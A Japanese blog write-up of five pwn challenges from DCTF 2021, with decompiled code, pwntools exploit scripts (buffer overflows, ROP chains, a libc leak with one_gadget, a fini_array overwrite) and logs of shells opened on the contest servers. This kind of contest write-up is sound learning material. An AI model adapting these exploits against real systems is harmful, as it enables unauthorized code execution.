もふもふ

くんかくんか

dctf 2021 write up

ちょろっとだけやった。pwnのみ。

baby bof

バイナリとDockerfileが渡される。 題名通り、シンプルなバッファーオーバーフロー問題。 まずはchecksec

[*] '/home/test/dctf/pwn/baby_bof/baby_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

脆弱性箇所のでコンパイル結果は次の通り。

void vuln(void)
{
  undefined *local_res0;
  char local_12 [10];
  undefined *local_8;
  
  puts("plz don\'t rop me");
  fgets(local_12,0x100,stdin);
  puts("i don\'t think this will work");
  return;
}

syscall gadgetがなくsystem関数もない。 よってlibcのleakが必要だと判断した。 また、rbxにセットできるgadgetも見つからずfgetsをropで呼ぶことができなかったので、 次のように方針を立てた。

  • puts関数を用いてalarm関数のアドレスを求める。
  • libcのアドレスを求め、onegadgetのアドレスを計算する。
  • 上記vuln関数のfgets前に飛びputs関数のテーブルをonegadgetのアドレスに書き換える。
  • puts関数でシェル起動

one_gadgetは次の通り。

0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

fgets終了後rdxが0になっているのを利用して、2つ目のgadgetを使用することにした。

import pwn
from pwn import *

alarm_addr = 0x601020 #<alarm@GLIBC_2.2.5>

fgets_addr = 0x004004c0 #<fgets@plt>:
puts_addr = 0x004004a0 #<puts@plt>

pop_rsi_r15 = 0x00400681 # pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x00400683 #: pop rdi ; ret  ;  (1 found)
pop_rbp = 0x00400538 # : pop rbp ; ret  ;  (4 found)
ret_gadget = 0x0040048e #: ret  ;  (12 found)

rbp_addr = 0x601018 + 0xa

libc_alarm_offset = 0x0000000000e5f10 #<alarm@@GLIBC_2.2.5>:
one_gadget_offset = 0xe6c81

LOCAL = False
if LOCAL:
    libc_alarm_offset = 0x0000000000de7a0
    one_gadget_offset = 0xdf54f


payload = b'A' * 0x12 # padding

# set rbp
payload += p64(pop_rbp)
payload += p64(rbp_addr)

# leak alarm address
payload += p64(pop_rdi)
payload += p64(alarm_addr)
payload += p64(puts_addr)

# set r15 to 0
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)

# return to fgets
payload += p64(0x04005cb)

if LOCAL:
    io = pwn.process("baby_bof")
    gdb.attach(io)
else:
    io = pwn.remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481)

print(io.readline())
io.sendline(payload)
print(io.readline())

res = io.readline()
print(res)
print(res[:-1].ljust(8, b'\x00'))
libc_alarm_addr = u64(res[:-1].ljust(8, b'\x00'))
libc_base = libc_alarm_addr - libc_alarm_offset
one_gadget_addr = one_gadget_offset + libc_base

print(hex(libc_base))
print(hex(one_gadget_addr))

io.sendline(p64(one_gadget_addr).ljust(16, b'\x00'))

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$ python3 solv.py 
[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done
b"plz don't rop me\n"
b"i don't think this will work\n"
b'\x10\x1f\x0f^\xce\x7f\n'
b'\x10\x1f\x0f^\xce\x7f\x00\x00'
0x7fce5e00c000
0x7fce5e0f2c81
[*] Switching to interactive mode
$ ls
baby_bof
flag.txt
startService.sh
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to dctf-chall-baby-bof.westeurope.azurecontainer.io port 7481
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$ 

FLAG: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

pinch me

シンプルなバッファオーバーフロー問題2。

デコンパイル結果。

void vuln(void)

{
  char local_28 [24];
  
  puts("Is this a real life, or is it just a fanta sea?");
  puts("Am I dreaming?");
  fgets(local_28,100,stdin);
  if (true) {
    if (true) {
      puts("Pinch me!");
    }
    else {
      puts("Pinch me harder!");
    }
  }
  else {
    system("/bin/sh");
  }
  return;
}

system関数の前に戻してやれば良い。

import pwn

ret_addr = 0x04011a1

#io = pwn.process("pinch_me")
io = pwn.remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)

payload = b''
payload += b'A' * 0x28

payload += pwn.p64(ret_addr)

#pwn.gdb.attach(io)

io.readline()
io.readline()
io.sendline(payload)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ cat log.txt 
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ python3 solv.py 
[+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
Pinch me harder!
$ ls
flag.txt
pinch_me
startService.sh
$ cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$ 
$ 
[*] Closed connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io port 7480

FLAG: dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}

pwn sanity check

stackの変数を書き換えたらwin関数が走るよ問題。 デコンパイル結果。

void vuln(void)

{
  char local_48 [60];
  uint local_c;
  
  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == 0xdeadc0de) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}
import pwn

ret_addr = 0x00400697
pop_rsi_r15 = 0x00400811
pop_rdi = 0x00400813

payload = b''
payload += b'A' * 60
payload += pwn.p32(0xdeadc0de)
payload += b'A' * 8

payload += pwn.p64(pop_rsi_r15)
payload += pwn.p64(0x1337c0de)
payload += pwn.p64(0x1337c0de)

payload += pwn.p64(pop_rdi)
payload += pwn.p64(0xdeadbeef)

payload += pwn.p64(ret_addr)

#io = pwn.process("pwn_sanity_check")
io = pwn.remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)
io.readline()

io.sendline(payload)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pwn_sanity_check$ python3 solv.py 
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
very good, here is a shell for you. 
spawning /bin/sh process
wush!
$> If this is not good enough, you will just have to try harder :)
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io port 7480
[*] Got EOF while sending in interactive

FLAG: dctf{Ju5t_m0v3_0n}

hotel rop

ELFバイナリが渡される。

[*] '/home/test/dctf/pwn/hotel_rop/hotel_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

バッファーオーバーフローが可能な関数とwin関数、"/bin/sh"を作ってくれる関数が2つ存在する。 デコンパイル結果は次のとおり。

void loss(uint param_1,uint param_2)
{
  if (param_2 + param_1 == -0x21523f22) {
    puts("Dis is da wae to be one of our finest guests!");
    if (param_1 == 0x1337c0de) {
      puts("Now you can replace our manager!");
      system((char *)&win_land);
          /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}


void california(void)
{
  puts("Welcome to Hotel California");
  puts("You can sign out anytime you want, but you can never leave");
  *(undefined *)((long)&win_land + (long)len) = '/';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'b';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'i';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'n';
  len = len + 1;
  return;
}



void silicon_valley(void)
{
  puts("You want to work for Google?");
  *(undefined *)((long)&win_land + (long)len) = '/';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 's';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'h';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0;
  len = len + 1;
  return;
}


void vuln(void)
{
  char local_28 [28];
  int local_c;
  
  puts("You come here often?");
  fgets(local_28,0x100,stdin);
  if (local_c == 0) {
    puts("Oh! You are already a regular visitor!");
  }
  else {
    puts("I think you should come here more often.");
  }
  return;
}


undefined8 main(void)
{
  alarm(10);
  printf("Welcome to Hotel ROP, on main street %p\n",main);
  vuln();
  return 0;
}

silicon_valley → california → loss の順で呼んでやれば良い。 PIEだがmain関数のアドレスを教えてくれるのでoffsetを用いて必要なアドレスを逆算する。

import pwn
from pwn import *

param1 = 0x1337c0de
param2 = 0xdeadc0de - param1

main_func_offset = 0x000136d
bin_func_offset = 0x00011dc
sh_func_offset = 0x0001283
win_func_offset = 0x0001185
pop_rdi_offset = 0x0000140b #: pop rdi ; ret  ;  (1 found)
pop_rsi_r15_offset = 0x00001409 #: pop rsi ; pop r15 ; ret  ;  (1 found)


#io = pwn.process("hotel_rop")
#gdb.attach(io)
io = pwn.remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)
b = io.readline()
print(b)
start = len("Welcome to Hotel ROP, on main street ")


main_addr = b[:-1][start:].decode()
main_addr = int(main_addr, 16)
print(hex(main_addr))

elf_base = main_addr - main_func_offset

payload = b'A' * 0x28 # padding
payload += p64(elf_base + bin_func_offset)
payload += p64(elf_base + sh_func_offset)

payload += p64(elf_base + pop_rdi_offset)
payload += p64(param1)

payload += p64(elf_base + pop_rsi_r15_offset)
payload += p64(param2)
payload += p64(param2)

payload += p64(elf_base + win_func_offset)

io.readline()
io.sendline(payload)
io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/hotel_rop$ python3  solv.py 
[+] Opening connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io on port 7480: Done
b'Welcome to Hotel ROP, on main street 0x5568dbc6436d\n'
0x5568dbc6436d
[*] Switching to interactive mode
I think you should come here more often.
Welcome to Hotel California
You can sign out anytime you want, but you can never leave
You want to work for Google?
Dis is da wae to be one of our finest guests!
Now you can replace our manager!
$ ls
flag.txt
hotel_rop
startService.sh
$ cat flag.txt
dctf{ch41n_0f_h0t3ls}$ 
$ 
[*] Closed connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io port 7480

FLAG: dctf{ch41n_0f_h0t3ls}

magic trick

好きなアドレスに好きな値を一度だけ書き込めるelfが渡される。 さらにwin関数が用意されてる。

void win(void)
{
  puts("You are a real magician");
  system("cat flag.txt");
          /* WARNING: Subroutine does not return */
  exit(1);
}


void magic(void)
{
  long in_FS_OFFSET;
  undefined8 local_28;
  undefined8 *local_20;
  undefined8 *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("What do you want to write");
  __isoc99_scanf("%llu",&local_28);
  puts("Where do you want to write it");
  __isoc99_scanf("%llu",&local_20);
  puts("thanks");
  local_18 = local_20;
  *local_20 = local_28;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
          /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


undefined8 main(void)
{
  alarm(10);
  puts("How about a magic trick?");
  puts("");
  magic();
  return 0;
}

この手の問題は次のように解く。

  • 任意アドレス書き換え可能
  • win関数がある
  • fini_arrayがある

上記条件が成立するときwin関数のアドレスをfini_arrayに書き込めば良い。

fini_array = 0x000000000600a00
win_addr = 0x000000000400667

print(win_addr)
print(fini_array)
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/magic_trick$ python3 solv.py | nc dctf-chall-magic-trick.westeurope.azurecontainer.io 7481
How about a magic trick?

What do you want to write
Where do you want to write it
thanks
You are a real magician
dctf{1_L1k3_M4G1c}

PIEではなかったのでアドレス直書き。

FLAG: dctf{1_L1k3_M4G1c}